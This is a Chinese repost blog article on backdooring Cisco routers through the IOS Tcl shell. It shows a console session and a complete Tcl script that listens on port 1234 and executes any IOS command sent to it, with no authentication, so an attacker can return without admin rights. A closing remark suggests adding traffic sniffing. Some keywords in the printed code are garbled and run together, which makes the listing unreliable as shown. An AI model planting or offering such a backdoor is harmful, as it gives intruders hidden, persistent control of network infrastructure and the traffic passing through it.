Cisco Router Backdoor -- TCL Shell

来源:互联网 发布:php邮件发送源码 编辑:程序博客网 时间:2024/06/09 23:28

From: http://www.fuckhacker.net/archives/33/

关于Cisco路由器的一款BackDoor,自由发挥想象!

转载自 secbug

今天逛国外站发现了一篇攻击Cisco路由器留后门的方法,虽然一年多没玩Cisco了,平时工作也用不到这东西,但是对Cisco还是那么热爱,呵呵!进入正题,这是一篇鸟语的文章,写的也不难,主要的意思就是拿到Cisco路由器的权限以后可以上传一个用TCL脚本语言写的后门程序到设备里面,以后就可以无需路由器管理权限远程Telne进路由器了,灰常给力!关于TCL脚本语言相信CCIE Security级别的Cisco高级玩家都比较熟悉,反正我当年学CCNP的时候课程里面几乎没怎么提到TCL脚本,这东西在Cisco下是个灰常给力的东西,可以帮助工程师完成很多蛋疼的活!例如:在设备上批量的去Ping一个IP地址段等操作。

1.写在前面的废话:

其实Cisco IOS 从12.3(2)T 开始就支持TCL脚本了,下面在7200路由器的12.4 IOS 来试验一下TCL脚本。

Router>
Router>enable
Router#tclsh
Router(tcl)#puts $tcl_version
8.3
Router(tcl)#package names
tbcload Tcl
Router(tcl)#info commands
tell socket subst open eof pwd glob list exec pid snmp_getone time eval lrange t
cl_trace fblocked lsearch gets case lappend proc break variable llength return l
insert snmp_getid error catch clock info split array if log_user fconfigure conc
at join lreplace snmp_setany source fcopy global switch snmp_getbulk update clos
e cd for file append format read package set binary namespace scan verify_signat
ure seek while flush after vwait snmp_getnext typeahead uplevel continue hostnam
e ios_config foreach rename fileevent regexp upvar unset encoding expr load regs
ub interp history puts incr lindex lsort string
Router(tcl)#

现在一条一条的解释上面的命令及其输出:

1.使用 enable 命令进入特权 EXEC 模式。
2.使用 tclsh 命令进入 Tcl Shell 命令行,现在可以输入 Tcl 指令了。
3.使用 puts $tcl_version 打印当前 Tcl 版本。puts 是 Tcl 指令,相当于 C 语言中的 printf,而 $tcl_version 是 Tcl 的一个公共变量。
4.使用 package names 命令列出当前系统中已安装的 Tcl 扩展。要注意的一个扩展是 tbcload,Tcl 源代码被 tclcompiler 编译加密为 *.tbc 文件后,需要用此扩展来解释执行。
5.使用 info commands 命令来列出当前 Tcl 解释器支持的关键字。可以看到 if、for、foreach 等循环指令,操作文件与目录的 file、open、seek、read 等指令,基本的数据结构 list、array、哈希表等,字符串操作与正则表达式等等都被支持。有这样的阵容,编写强大的、全功能的 Cisco Tcl 脚本将十分方便。


code 如下:

01# TclShell.tcl v0.1 by Andy Davis, IRM 2007
02#
03# IRM accepts no responsibility for the misuse of this code
04# It is provided for demonstration purposes only
05proc callback {sock addr port} {
06fconfigure $sock -translation lf -buffering line
07puts $sock" "
08puts $sock"-------------------------------------"
09puts $sock"TclShell v0.1 by Andy Davis, IRM 2007"
10puts $sock"-------------------------------------"
11puts $sock" "
12setresponse [exec "sh ver | inc IOS"]
13puts $sock $response
14setresponse [exec "sh priv"]
15puts $sock $response
16puts $sock" "
17puts $sock"Enter IOS command:"
18fileevent $sock readable [listecho $sock]
19}
20procecho {sock} {
21global var
22if{[eof $sock] || [catch {gets $sock line}]} {
23}else {
24setresponse [exec "$line"]
25puts $sock $response
26}
27}
28setport 1234
29setsh [socket -server callback $port]
30vwait var
31close $sh

3.写在最后的废话:

TCL脚本的确是个不错的东西,建议Cisco玩家们都学学,无论是CCNA也好,CCNP也好,这东西都会给工作带来很大帮助,想学的就猛击这里吧。

Attacking Cisco Router over TCL英文原文地址:http://www.sectechno.com/2010/11/07/attacking-cisco-router-over-tcl/

详细的写入TCL Shell英文原文介绍:http://www.irmplc.com/downloads/whitepapers/Creating_Backdoors_in_Cisco_IOS_using_Tcl.pdf

--The End--

PS: 如果能够操纵路由流量,或进行sniffer的话,那威力就大的多了